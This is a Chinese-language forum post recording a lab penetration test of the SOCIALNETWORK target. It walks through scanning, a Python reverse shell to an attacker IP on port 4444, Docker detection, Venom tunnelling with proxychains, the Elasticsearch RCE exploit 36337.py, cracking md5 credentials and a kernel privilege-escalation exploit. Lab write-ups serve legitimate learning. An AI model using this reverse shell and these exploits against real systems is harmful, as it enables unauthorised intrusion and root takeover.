首页
社区
课程
招聘
[原创]SOCIALNETWORK打靶记录
发表于: 2023-5-3 17:14 5615

[原创]SOCIALNETWORK打靶记录

2023-5-3 17:14
5615

首先对靶机进行ip发现与端口及应用版本信息扫描:
图片描述
dirsearch和Windows平台上的御剑,本质上是一样的
对隐藏路径进行爬取和发现:
图片描述
打开后发现是一个代码执行页面 如果过滤不严格可能可以通过该功能直接执行代码操作
图片描述

导入一段shell代码去反弹链接
去网上搜索python 反弹shell就可以获得shell代码
a2fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8Y4c8Q4x3V1j5%4y4K6t1I4i4K6t1K6i4K6y4m8i4K6N6q4i4K6y4m8N6r3g2^5N6q4)9K6c8q4)9J5y4f1f1$3i4K6t1#2z5o6S2Q4x3U0f1&6x3g2)9J5y4f1f1@1i4K6t1#2b7V1u0Q4x3U0g2m8b7#2)9J5y4f1f1#2i4K6t1#2z5o6g2Q4x3U0f1^5z5q4)9J5y4f1f1$3i4K6t1#2z5f1c8Q4x3U0g2m8y4g2)9J5y4f1f1%4i4K6t1#2z5f1y4Q4x3U0f1^5b7W2)9J5y4f1f1%4i4K6t1#2z5f1y4Q4x3U0f1^5b7W2)9J5y4f1f1%4i4K6t1#2b7V1c8Q4x3U0f1&6x3g2)9J5y4f1f1@1i4K6t1#2b7U0S2Q4x3U0f1^5b7g2)9J5y4f1f1$3i4K6t1#2b7U0g2Q4x3U0f1^5x3g2)9J5y4f1f1@1i4K6t1#2b7V1y4Q4x3U0g2m8x3q4)9J5y4f1f1#2i4K6t1#2b7V1g2Q4x3U0f1&6y4#2)9J5y4f1f1$3i4K6t1#2z5f1y4Q4x3U0f1^5x3q4)9J5y4f1f1#2i4K6t1#2b7U0W2Q4x3U0g2n7c8W2)9J5y4f1f1%4i4K6t1#2z5f1q4Q4x3U0f1^5y4s2m8&6N6r3S2G2L8W2)9J5y4f1f1#2i4K6t1#2z5p5k6Q4x3U0f1^5c8q4)9J5y4f1f1#2i4K6t1#2b7V1y4Q4x3U0g2n7z5i4y4Z5k6h3I4D9i4K6t1#2c8e0N6Q4x3U0f1&6b7g2)9J5y4e0R3@1i4K6t1#2c8e0S2Q4x3U0f1^5y4q4)9J5y4e0W2m8i4K6t1#2c8e0k6Q4x3U0f1&6b7#2)9J5y4f1q4o6i4K6t1#2c8f1k6Q4x3U0g2n7b7#2)9J5y4e0W2m8i4K6t1#2x3U0m8A6L8i4m8G2M7Y4c8Q4x3U0f1J5x3s2y4G2j5$3E0W2N6q4)9J5y4e0u0o6M7%4g2T1M7s2u0G2j5$3g2K6M7#2)9J5y4e0u0o6L8%4y4Q4x3U0f1J5x3s2y4Q4x3U0f1K6c8s2y4G2j5$3E0W2N6q4)9J5k6i4y4G2j5$3E0W2N6q4)9J5y4e0t1^5M7$3!0U0K9$3g2@1i4K6u0W2b7f1k6Q4y4h3k6u0e0V1g2f1i4K6t1#2x3V1y4K6L8$3y4C8k6i4c8Q4x3X3g2e0e0@1y4w2i4K6g2X3f1#2c8d9c8f1q4y4i4K6t1#2x3U0W2Q4x3V1y4K6i4K6u0W2j5$3!0F1L8X3g2U0N6q4)9J5y4e0t1^5i4K6t1#2x3U0S2Q4x3U0f1J5x3U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9J5y4e0t1J5i4K6t1#2x3V1x3J5x3K6x3K6x3#2)9J5y4e0t1&6i4K6t1#2x3U0W2Q4x3U0f1J5x3r3!0K6i4K6u0W2k6s2g2H3x3W2)9J5y4e0t1^5M7#2)9J5k6h3k6A6L8r3g2F1L8#2)9J5y4e0t1^5i4K6t1#2x3U0W2Q4x3U0f1J5b7K6m8Q4x3U0f1J5z5g2)9J5y4e0t1H3L8%4y4Q4x3X3g2V1N6i4l9J5i4K6t1#2x3U0S2K6i4K6u0W2k6X3W2D9k6h3&6G2i4K6t1#2x3U0S2Q4x3U0f1J5z5g2)9J5y4e0u0o6x3g2)9J5y4e0t1&6i4K6t1#2x3U0m8G2M7#2)9J5k6h3c8#2M7o6u0Q4x3U0f1J5z5s2y4Q4x3X3g2X3K9h3I4W2L8X3!0Q4x3U0f1J5z5q4)9J5y4e0t1&6i4K6t1#2x3V1x3J5i4K6t1#2x3U0W2Q4x3U0f1J5x3s2m8Q4x3U0f1K6c8s2y4#2j5Y4m8J5L8$3y4W2M7%4y4Q4x3X3g2U0j5h3I4D9i4K6t1#2x3U0S2Q4x3U0f1#2b7W2)9J5y4e0t1J5i4K6t1#2x3V1k6T1K9h3&6Q4x3U0f1J5c8X3u0S2M7$3S2Q4x3U0f1J5x3W2)9J5y4e0u0o6i4K6t1#2x3U0u0Q4x3X3c8A6i4K6t1#2x3U0u0Q4x3U0f1#2c8q4)9J5y4e0t1&6i4K6t1#2x3@1u0Q4c8e0y4Q4z5o6m8Q4z5p5t1`.

如果kali里没安装bash,像上面那篇文章里面那样call(["/bin/bash","-i"]);就会失败,由于sh是最基础的,所以call /bin/sh总没错
图片描述
在反弹的时候遇到了一些小问题,总结一下就是退出root权限,反弹代码千万记得写分号
图片描述
三、内网穿透
dockerfile通常会作为dockers容器部署开发环境的时候会使用的一个模板开发文件。这个模板文件中包含如何去引入docker映像,如何对这个映像进行配置和安装软件包,修改服务项 等都会在这个模板文件中存在。利用这个文件可以在生产的服务器上大量的批量的部署docker容器。
图片描述
查看该文件,可以看到标准的docker模板的操作指令
图片描述
使用命令:ls /.dockerenv 或者 cat /proc/1/cgroup(1表示初始化文件) 如果有结果那说明是一个docker系统而不是安装在服务器上的系统
如何检测是否是docker系统?
通过查看是否存在dockerenv这个文件,如果存在则大概率就是一个docker容器系统。
查看/proc/1/cgroup文件:(1代表系统的初始化进程id 当初始化进程id的cgroup文件中包含着明确的docker信息则百分百是个docker容器) 随后想办法从隔离的docker容器中突破出来找到宿主机,拿到root权限
图片描述
可以将docker容器所处的网段视为当前的内网网段 可以对内网网段进行主机发现,看看该网段中是否还存在其他主机
图片描述
16个网段,存在65535个ip
主机发现:ping -c 对内网中的每个ip都ping一遍 或者通过脚本循环ping:for i in $(seq 1 10); do ping -c 1 ip.$i;done
图片描述

扫出来的172.17.0.1和172.17.0.1位于内网网段,利用kali上的工具去探测内网网段默认情况下道路不通,此时要使用内网穿透技术。

使用内网穿透技术,将内网和kali的网络路由打通 常用的工具:venom

利用venom可以在内网和kali之间建立一个隧道,通过这个隧道生成一个代理 让其他工具可以基于这个代理对内网进行扫描

首先将这个隧道的客户端程序传输拷贝到目标系统上,再与kali上的服务端程序建立隧道

在Kali主机Venom目录启动Python3 Http Server 再回到目标容器系统,通过wget去访问kali主机上的http服务
图片描述
venom报错:zsh: 没有那个文件或目录: /home/chey/桌面/Venom 排查后发现是因为文件名有空格 将空格删掉之后就能正常运行了
运行服务端,本地监听9999端口等待目标容器系统建立监听:
图片描述
图片描述
来到客户端计算机,获取到隧道工具的客户端程序(就是a程序)。在kali系统上启动http程序,在目标靶机上运行wget,将kali上的a程序下载过去。
图片描述
如果wget失败就重启一遍服务(应该在kali装一个nginx之类的server端 开http 然后配置文件里会有一个类似root_dir的配置 还是web_dir 类似的 配好了重新起一下服务 不出意外的话应该不会出现这种问题 )
图片描述
靶机服务器上部署venom:
成功连上(由于在Linux中给agent_linux_x64改名为a了 所以这里使用的是a)
图片描述

goto到节点:
socks启动监听端口1080
图片描述
为了让kali上的所有工具都可以挂代理去访问内网的网段,就必须要启动proxychain
修改代理类型 sudo vi /etc/proxychains4.conf
图片描述

此时可以对内网进行扫描了,对刚刚扫描出来的存活的ip进行扫描:
proxychains nmap -Pn -sT 172.17.0.1
图片描述
进行服务版本的发现
图片描述
对172.17.0.2进行端口和版本信息扫描
Elasticsearch开放端口:9200
图片描述

有两个远程代码执行漏洞的payload 下载回来看看
图片描述
cp /usr/share/exploitdb/exploits/linux/remote/36337.py . 将改脚本拷贝到当前目录
图片描述
使用python2来执行该脚本
图片描述
发现当前有一个password文件,文件中有账密信息 是md5加密的
图片描述
md5在线查询平台:cf9K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0L8h3b7#2i4K6u0W2j5$3!0E0i4K6u0r3

使用账密进行ssh登录
图片描述
尝试提权:sudo su
本地提权:最主要的方法:通过内核漏洞提权
uname -a 查看内核版本信息
图片描述
searchsploit
该payload是c语言写的源码,需要通过gcc编译之后才能执行,随后才能成功提权到root权限
图片描述
图片描述
由于靶机上没有gcc软件包,因此在kali上编译完后传到靶机上执行该提权payload,该payload源码中有一段命令:使用gcc编译ofs-lib.c 防止payload在靶机上运行失败,在kali上编译完后修改该代码,改为直接执行编译后的程序
图片描述
把涉及到要编译库文件的代码都删除掉
图片描述
删除上面红圈内的代码后对修改后的exp进行编译,输出文件名为exp
编译过程中的报错并不影响输出结果
图片描述
要执行该exp文件需要配合已经编译好的二进制的库文件一起执行
二进制的库文件名叫ofs-lib.so 尝试在kali中直接定位该文件
图片描述
将这两个文件一起拷贝到目标宿主系统上
报这个错就需要在kali中exp所在路径下重启http.server服务
图片描述
图片描述

接下来要执行该exp,为了保证exp的执行成功,将这两个文件拷贝到目标靶机的tmp目录下
首先给exp赋予可执行权限
随后直接执行exp 成功提权
图片描述

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.70.196",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.70.196",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2023-5-3 17:34 被大河向东流哇编辑 ,原因:
上传的附件:
收藏
免费 5
支持
分享
最新回复 (2)
雪    币: 0
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
可以接单吗
2024-8-26 23:32
0
雪    币: 8
活跃值: (86)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
确实厉害!!!
2024-9-13 10:24
0
游客
登录 | 注册 方可回帖
返回